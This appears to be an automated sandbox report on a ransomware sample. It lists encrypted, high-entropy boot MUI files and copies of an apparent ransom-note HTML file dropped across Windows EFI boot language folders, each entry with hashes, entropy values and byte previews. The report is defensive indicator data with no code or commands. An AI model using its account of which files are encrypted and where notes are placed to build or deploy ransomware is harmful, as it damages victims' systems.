SSDEEP:	24576:pIbyzK1Y9R5iQfKVxvtFmMbMtFqomB0Id7lRgfJs4FzhhdM4m7XmC1uWBRA:YyzK1Y95UFtYwomBd7OPFzTa4SBi
MD5:	DA51EEA1E47C859C20E2AE62D4D9F403
SHA1:	E4E44BFC4920B558A7A433AF06958A5581BB80EC
SHA-256:	43F20DA9158F2B7FD42BBA7C6C42AB37F4BC01F4812ECC234A4E568E670EB560
SHA-512:	981694409240200E3E4E89F81C7D3D49BC1493A68DCB53C3FD51D812AD3B1B0A38B37B8ECB29D4BB02F876172A3DAB1836F25149AC0CAFE29E4080D2BE699DAA
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w..V.S....h1....di.w.M$l...=.1I..$.).Z.....FR..P......oV).._....(.....y...E.44L...(c.^6#..%..4.%h.f.G.].Lw.%.d.3...b..u.....>s..j..th.{.^-...A.C.._0.......:..p.I........}....H_..m.3..4..4q.!~..A...#@....y...$o_~k;:1..+v.w[u(..Nc........i......6.$.Y..H..g...\...R._.V.c..l.b.F...........H.......-..u...H:.K...v\|,........O~..GPV+.."..k..\.....k.sN.6.....Y..l'1 .p`j.....f.j.....&.xP..Lzr8...S.U..~S.....X...v..\|..t$......QgoI...g.I.Ip..... A...i[n.;..U.@z:..i....6..C@..Z<o.2. ..I$..K...U-.5.g1.R..2&+....3B\R<.t.[.x...I%....k.p4yXM../.l.P{.T....nP..q.D..Q.fO.n.3.............<..S>#$.......H....~....rK.^s.t.T.\..Lz...Q..z.....l.@.Hh......,4#v..b;b.%g`cT...fC..an\.l..s.?...8............=M..A.7......ymp..\..w...ih...(5...d.._tmJ.....D.l..f.."...w..o.;h=...d.$M....A..'...#.w...#ld...y....a.X.c........@..X..........\|.O.%.x.Vn...f+.H.#...............Y......I....;"..B..(g.yK....%.....C....f.o"..qA2.!$..;.

C:\EFI\Microsoft\Boot\cs-CZ\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\cs-CZ\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997998613362847
Encrypted:	true
SSDEEP:	1536:5x1aip5Tq7d5lL8Bbqq50LGwhuBmWaB1g2jnugOI6GnggdYyCj3gb1oQn:5v3q79gqkPwhOh2qgOI6GnggdXCjq1o6
MD5:	E9257A21EE505838D40EEB938854EBF0
SHA1:	4A26B2DFA28E108534817921AD28B7B698E5A4D5
SHA-256:	CEC97CFC700E8B017B34698D7EDF004F4777E727372601C70F5E705F118DA4FB
SHA-512:	0073952B8202239429AA4626F792ABFCE7EF9A4B4B169DA6D26BCBB55355ADF1EDD5347531D1E914123D38F0E6FFEB76D4E4517AEBEB4DD22F72A153BAD417AB
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{F._5..,.\...o.x..}.%.&.mV..1...S`..i.....hp.o.A.IS?+...hvW......EEpDSN..w..J..{.R.p..\.%+.....~qt-.>;n.X%.pK..dX.BYZ....].....XRWl..7..h.qG.@~.X.X..`Y...{..lC.:...ta.....m.Gu..&S...vJ...T......:w..z..q..vR......c.C.U1h..........x1...O...:H...b....wsD(O0".UG\...<Kd.0.S.Hq.....4..@.(,...8~y=%.!....<5....d.3.a.=.d<..F..Uu.x...Mu...z\|....~ ..,...gB.2...S.{.7..r.?.`,..\WC{}.E....c.>.....9..1.hH..&.j......hWB.Y[P$7.=?l..]\.....2.......I.....T.H.....WP?.......f.Xj...EU.c\|..i..U.\1.\..V.1.P..}....r9...?.4.T.J.TT....a.5P.9.L\...rN.....B...]GO.4...Y.....i..`.e.?$..>.;<........oO`../n[...A..\.xH".D..A_.Q...A.....2.D..].\.......KcrR...+.2.D:.T..9Y..;d%.M...c.q....`......lA@R..Ma....i.;/"...t.w..

C:\EFI\Microsoft\Boot\cs-CZ\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997593435804514
Encrypted:	true
SSDEEP:	1536:eHh6VOjqa3fqqgY4tHyQABgxTz/svjPijMvaHizJ2cKQ6tmCMLp:eHh6VjAbkyxBQ/o2q4HmvF
MD5:	3FB11E76F26802B558393A0BA32F9EFF
SHA1:	86DCDD47C9381CC94C4ED04E0B6FB53C291A963A
SHA-256:	0597EB17827635CD0DF70602C2169869EE322D9220CDECD27E47D5249CF65C89
SHA-512:	0665C5477D6D070D81B33B1789D0105BF78D5C50E80AD2A8F2369BCEA55248B3B773F2A58BF0855CA60891237A94F4AC9C54772624B013B311449A2B09CF6C2F
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{......=....t.......u.L[1..v..D]..+..H\..T.,....pA...G..VP#R...1.....X.p.1.b.......A.g..7EJ...e...:b&..t........Y. .K%v3.79E...o..6.Cv......=.....gO.....I...8..%......x.T....9#Wo\|JF=.No.s..L.L.n.Bf.......'........y.......38C..j]......+7d[.LRDt...<..U.~.U..H.C...du.[u..s.-;.U9...y....F...[W...;.....FK$../..o..5..\|...%..9.....\|........K7....P.....yzG:..+vo..L..=..}\|.wg.$.:.4....\..G......7.4.KY..X.....T@.b...V`.<}.R.9....\...@..7..S.<_...8.62...r."..!..v.p....'..`.@.PB..oW........-a..FU':.$.Ry.X...T.....h..)......~...B....7.$U,n\|n...]UM.bi....O6L...Ea.%........4..}.....Z(i6.....j..0{^..exm. ..q.C...V...3....l...?\|.:.._FWX....p..d..dq..JPB....<.w.\|.....Y....'].: ......g...T...3{...Xmo.+

C:\EFI\Microsoft\Boot\cs-CZ\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.995755869910042
Encrypted:	true
SSDEEP:	768:4VNAaPpaTN6hdcGTwPKPlgji7VVdXZTpEErocJDp2S2zYqRcs/UvN:4VN7akAT2lgjSVVbd8CV2AqeV
MD5:	421BF36C3B4092E26EC842372B142284
SHA1:	D3D3F8C38000F069912CA9DAB99E5EC916B35228
SHA-256:	C894B59833B989EB260801FC4BE7948D75BD4D10E2AF982B80B9F61BC61AE489
SHA-512:	58EAD33610833077BA70F8BBD2A1B05DEF83629E8ACBD7A1D2A521F18338CD4B4EC3B19F6275DF66D70A7111772E51DFEC1B7DE54A4BD290D763031460B8E83E
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%....^.S..]..-.>m.9...........A..7W..9fw....3w`M'...~?..@\|hFe.b.R8....=.503>.J...Tc.Wi.'..&d..~.>>zy.G.5....... U.='.T.>8..J....!.b....[?.. .V...UM(..@..+..N...JP...\...W.. .).........Vud..w,..6...N.EC..^.2..y..X...c..d6.P.L.uZuj`Ov..5..p.._k.Q$.!...z.,..I....<..c..a.......Q.?(,..R.... h..J.8.S......W\...')..&i+.T...U....Z.R.B...^.p...C...-`[..`A....\..a_..Q.^.X..q:AL....d..'Z...NJy...P@^.o.-w....n[.$.m!.5$....CJ....U#.m...K..t".P.v..R../{.....l.Bw+...!.H..8.........;..\....5n..:..Z.gI..:....U.?.7..m('..E.n..F}.~.....)1_..0...Q\|.U]6.tK....z..n..]..r.]y...;m....y...{..9..J..t....$.e...\|.$...P.J.\|.1.._?CX..E.tFog.8~.\|...ptn..{.\]a......0I~V.....h.k...M..I..w..S........&...,e....s.N.D.;,..iA.n..qG.:...H....:.....:TH......W)..H.l

C:\EFI\Microsoft\Boot\da-DK\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\da-DK\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.998051444428724
Encrypted:	true
SSDEEP:	1536:1WixPXINPswXTkv4nRsCjvgG+yA2/gOgeVQ4CR4RFz+jSnnsWdRqF:E+PXINPfkvNVyF4neWvIFKqnsWG
MD5:	C3B28DCEAF588B5AD4442FC8B5352052
SHA1:	A8B3B5AB38141A64672A23AE8BD6D60C1366141B
SHA-256:	8894BECFF9F3EBC9C2D734B5F3341FD73017EF3BD42C2A40008B3325586CD0EE
SHA-512:	8B6B024E25A9BA11669BCAE8EF4F07C6FF3EE9D5AFFDB9C77D07B99FF0B2A7C79D39D916E096FF53BD044F8DD1E99CDE3CD37FF1084B3B5E8F1178D514EBF837
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2..Tt.....h..]ta.@\|o.[.e@..P...[.i$..egS.X.R..r.1^.p....5....&1..\|.....y4.....w)..6...}....vrF3...+..o.yBg<.y\|f..4.\..9.T..Y..Y..6.g.B.?.N.y.+.J....;.;:....N1..gQ.{R..{.a1... .S.R._...h0\1..-6Q...r...!.-...\|CW.6e8.w.!<!..R..(.../......_.s,...o.EL.\..0..:...<8 .....&..Bv.(...C...t......z.w..\.....A....o2&..n.Mpe:...O[..X.......g.Oz....#..B....."..Fu..W.....R4/3..tx.....:.Vr~...d.?Z..'..7,m...a.....2k...U?..=U....E...>"..,+...z.j< ..9\|...U..?..;..4.1`..N"...J.K..#).v.8<....D...bE\ ..s..9..O6.o!.b..`q...xZ....*..@.`.p...........B.#...!m....~i/......FD.l~.x...~H.F@qDPZ....F.=......).%...p.Z....(@...[P].Xu...2..C.7...F,.?r...0.$.g.R.....M.&......6..S.. .w..{6V..!<w..#..6.....q.e......y...

C:\EFI\Microsoft\Boot\da-DK\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997685561614241
Encrypted:	true
SSDEEP:	1536:tim9anOkgIaZ6sw5bis4VyZl7wVJdIH7m6dBzvtEaL0NlIL:timvkRfrxZdCJWtEaYAL
MD5:	331EC90CDE52625205C89FE69C7EECDF
SHA1:	311CBCB69BF07921F74F92CB3127BF397AAD7192
SHA-256:	38AD791E5F0DF27A55116EC18F2C31CC41FEAAF7D235D85497A6CFA39EBFBEBB
SHA-512:	1BA6D2C8E1D9376ACAB340CDBF4AB36CFFD31D5DD8D4C19DD1425FA8F5E3AF84DBA6FEFB142B770CE5DCAD1B781F658DC3723F563701A89955927A737A621CAD
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.....2....W.....?QeX>.4.`%....N...h.l.e.n-.2..........x].....;..{T.5.G.\..N....7.3.[XO..j.zO..,...gM.s.<.G.N..X......t.a_.s!...........9OqS.....=.h...t.8..v..!.s...6...n......w....L.....C..i.@..'.w^..K8....2...i...+.A.0=...`n..[y[....t!.v..@......&%...vj...lc.5...?.6....$`b\|.MP....5..;\|...o:s....CD.c.......Co.;.%..w...,..>N.X.^@E?.5\|w...T.x.:...B.8)F..^....U..%.....S..._.1.+..Q...?....4..Ah..$G..HS.0.w.k. >K.WSGV...OlQu.H_.....'`>.........S.4.$!.....}.]U.....RR....45.BX....^...B..KdE.9n.,zkYL.]#...f.>!.:O.R.v+.5p.5`.x...9...Q..Q..."...0.o..<.xr.Q...$...........7w..;.%=....A..ZW...)q._T..L`.e.rvt ..ZW...`JL.h.c._..C.#B...T.`.9.Cx....U..'.D.~.{7.+.o ...n0b....+w...e..<.1+.S..H..5M..J.(...?#MW.u'I...+....G.1.+.[.....G.;.!..

C:\EFI\Microsoft\Boot\da-DK\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.995998065565866
Encrypted:	true
SSDEEP:	1536:Q83A30g+cNsCGIYkCnaJpBG9vFn/Xz2/a:o30E+CGazGHn/Xz2y
MD5:	A276783B1B56549462628E507AD4A640
SHA1:	74130DF21B0F3CC527D9B88C6A17A731B839F242
SHA-256:	AF35876EAF4D24CF9F60B62C480C4790BB240701B6EF0001BAB128EDD8909B1D
SHA-512:	7B072938A76FD980B3DC0E9F3FDBDEE3936222088B54441B34AD4E3E34DA89B09B6662E4C095B70A1559F324D8DA4D1C80F1CD976526775E6021B222C0863DDB
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%....^.S..]..-.>m.9...........A..7W..9fw....3w...t..s....q.)}L5..@B....X.rM.....K.J#.7...^N.........q...T..&.............x..C.V7.5...\| ^..r.h...T.i..J.W.l..2..;...UX..f.+.).A.!.`M".M.....V.G..V..b.[$M.`..i..D$0R8)0.dn[F.k...pQ(..I...1....u.-..w.~...iR.L.......f.........e....V.$...{...&...z......+{...`...C:..d.0....&.`...TP.%G.P.W.oJX......qH...l..U,..`\|..<...>...?.Z..R^.<...3...o,...E.S.x.`\;bOv.g.D.\|....\].\|.]....ka.....\.2....w.{..v.*..a.zt..tp.l...5:..J(.h....D.....I/...Ki.%[G....b...J..o...eC8..D...i...g......"d#u[...$O=.4..{.K.......`2..D..TCy..........";.....?q...-...=i......;.4Lj..C...t.w......h.......!..f.5........).oG..F..V.v...e...g..........G...W1~.v[_M....H@...0.s..r..s.'..y[..8.1..7q.....U..n..u1.9.....u.......Fi..

C:\EFI\Microsoft\Boot\de-DE\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\de-DE\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9979064983774295
Encrypted:	true
SSDEEP:	1536:wSA/CVpWUx2y6XYJMmkyQr2ZUKhwIjWH6Zb+h2syW22oh7Dj:wF/CVpWUx2y6X/mvPDwIjGcahPm7Dj
MD5:	5E84F5A40E2BB4540859CDB0473A0B6D
SHA1:	9E524F06C144861AE5AC6AF049E5D1A2DB433DD7
SHA-256:	C013DEAAE2F46C9D38550DD83866333F678C30B33A417839E956E2DB03710CAD
SHA-512:	7DAC55F664A1DCA4E165665DCB931614554534DC115616D4E875217AE2F17FA6758E3749754233931CAD15EFBA42F276FEFBB12A108F46041332985018175B5B
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.e.{.X...a...JA..H4y........w..Fup. .8L...F....Y..b.H.,,Qa.....J.2....W..Ou.....9.n.DT....oGc..!.%.s....$..E.=.....D.N(.H..%.s`..YJ..W.....W.$..-...y.-..S.tr....l.K........s.5.&........<.a..]n7.T^/X.I..w.P...2.k.I.....".....3..u..".[......zc'..n.x"R.B...y..~.x..f.H........t.]..d...u.......l..Q.R}3.`FT.,.A{...q...B..q.}.#..M..d.#......V@2`.d..$..c.@.,.4.K..w-. .%....5`V.....]...w...>m@..F(.M..q\|.c...p..:.&..:.%..e.....WP.%<.W.&..T.....wl..zG..7....{.K.f.S...M..jkf..n....s.....4.rw...:@...>q.3x.mtMd.m..S.......#up.......7_r..T..`D...;.....`....M.&.$j. .=..v...@..l.5..`).6.}OL.=;....]..Q]..~.....4n.........D.N...IY...x..h.`..... L..P..@=.(......]s.n. ._.!L....R....TMA,8..["Ovi&.-HdD.....<.Q...Y.....G........B..p.....<.^I.yB=...d....1

C:\EFI\Microsoft\Boot\de-DE\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997465199409455
Encrypted:	true
SSDEEP:	1536:8wysdPQS4Dj2fWkG/i95E40/LDUdOy6+XIfSRdLfowOigh:dtKjmWkG/i95T0zDUd96+YfSRp9Oigh
MD5:	ADE04C7DE511C71658EFB59DD55D97CC
SHA1:	2F6992DFDBA02871CE13C637B7579F9B36B2AF7B
SHA-256:	F363C09E610D748962BEE0DF360DC2146D876505ABD9208039C4D7F0452CF8D6
SHA-512:	4220A6337C43F3FDDE4FA0742D70E4E483BF8DB12EFF5CA7FDCB8330370A001A73ACA5BE435E40C88030438D98A21A466CA477046F2508C37BC7C49F37051DC4
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.e.{.X...a...JA..H4y........w..Fup. .8L...F....x.......^Vg.Lh..5znOr.jF..Sn,J}...3....t....m...M&\|....R.W.....9/..h...,.0+C.{j.e$?.)...+a...~n......d.Z.......n.H}E.xh..OF.z...p.\|..-..T7.x..=..!...2+.....5Q.t....\J.A..q...$L...}.4.2...V#..e..,.Q..4..7Hm..=.<.v...l...*...O.....g.S9.......l3n.\..zD.l.Y.P .=#.!S.......C..l...`.s.....<C\.7..~......FV...w...?%..q,P......AJ...........+...9E.-..l..Bl.$k../{.-Q(}...j...>.....2....K.^.\|K.B...q......8..}....$.{0..k...K.3.Jda.1...;.k4ZM.6....5.3.o..iX..R.... .Db&~.2..@.K....R..I.Q.@c.q....'lE.....:.....g..~O.}/0p....k..A.F\...yk.U9T~x.........H....N$....b..z...`.P..N.;....o..O...W.i..n.B....E../....[x.B....^./l...............g1.9!.o: .B...U)u...G.o.o......d..G...7$5....g...x.#....z.@

C:\EFI\Microsoft\Boot\de-DE\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996524491532711
Encrypted:	true
SSDEEP:	768:xIdnNSz5AtMVTXwPrcCYVk9eplaGBBYUKuBjOdvzAEsMOaRXdOr9oclHLndEVPof:udNSd/0Pdupval7uZWOgRXdMqaLnIted
MD5:	3A34B03D6837887917F48FC2E2D8B538
SHA1:	8F9293261AD41C8A13A1936FF56E0E4B89E664DD
SHA-256:	9AFF3701EAC9F1AA0715B60C7C8514252E9ED036EEBC4C30A80F23FDA0247243
SHA-512:	6F447F008469DF5AB416C2B72211E12D25E05EB3514C32783F2C03A0FA02190369F7ABBEB06BB3AB098C380A6676B6F0AA11DEA18D3B7E373820709A338C3173
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.H2).!\...\|.(..~u.!.2.....m.@Oi>.[.....Wr.o......._.27)...).K~.&...K........$..p.=...d..^..bEf.......,...C;......8..<........,4.2..E..N^..U....Y..........x..c\O.~+V@7..r...^.\..P9..%h.t.[I..4.p?.ba..=._!-.V.KA.Q..M_~...".m.h..b@3hf......H3.O.u....>4...:_8..........+n..I`K..L.._k....B...\|.S.^.....I,.....k..g.q...I......?........N.....k..2..:..z/.`Tj.-@bf.9...*Y}......O&.d....T.Z.........G..w..6..9........G.9.i......\Zu...$.....cYBN$...n7...X.o..&SS.T..16H..l...H\...T.A...a..s.F}%~u.n9..a.S..p..n..M...F0...F....)N...N.y.].......8d.f..2iy.+..T.....8..j.3.:...~:e.)E........].m..$z.+A....;4Q..:.....;......u..N...uZ...T..<.".~.H....#.....;=.M...&Y"M..F.MP.y...d....6.Z. 0.].....Lx....r.7 ....A(#\|.......5..8..#X.!..O..........^...\

C:\EFI\Microsoft\Boot\el-GR\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\el-GR\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9974161885061195
Encrypted:	true
SSDEEP:	1536:racj6z8ydQm+Gdc80k4gKAlfRmDRf1ljWnwdM1vcH4ADfU+i+lPg6wSR6P1M145Q:eci8yz+R8ogxRcRfmwG1vcH/DfU+isPF
MD5:	67C9F7C685F03EBB15E609338397FA09
SHA1:	C3FD10929B434DAE551DE53C134D70A7D17901F9
SHA-256:	E48871180675AE06B6359A77971FE1D187D44AE3ED2187251C9EBF6AC09BB10F
SHA-512:	8C8293A29EB341CF2CFE9B2C43E45F1022CA062AD0C5C4E31377EC574BE0601035679CE7FA57AA6E776C612DAF7C4FCD9A1A8E17ABBC4EDA9DC02729EA3B4143
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%%.J.Q..x...(}.}oTwTmw.A]O.}.$.h?'....j^........K.U:..N;.W..W0F*.......t......7..;8..8..@..Q9.....n..6G+...........d..r6..?p#M..,.h.EIo..z....+.XDO....."0.x.k^-H..'...:y....$...E.KL....1..VLU..9......'\..>..U.f\....=...U.#.T^]...]...K.yZ.w..&4.5......q..U.;.9..c5.......vL@........@5s...=.^@.Dz.XO.\|.w5odT.f?...X.z.b..YC.3t.Z.I....UG.!...OC......./...}..09j.b.......(.=...X,T.....f.vw.....=.>...I!.h.j5;6.i...1.;..I.r...3..LO+......g.z\.B=IW.(-.=&>..../..k....~.a....QD...I.fn..x...9lC,yM..s.>j.........q.17w.Q.!^....K.R.q1.z>."..R..^.`#7.aM....@.....e.....9@..% 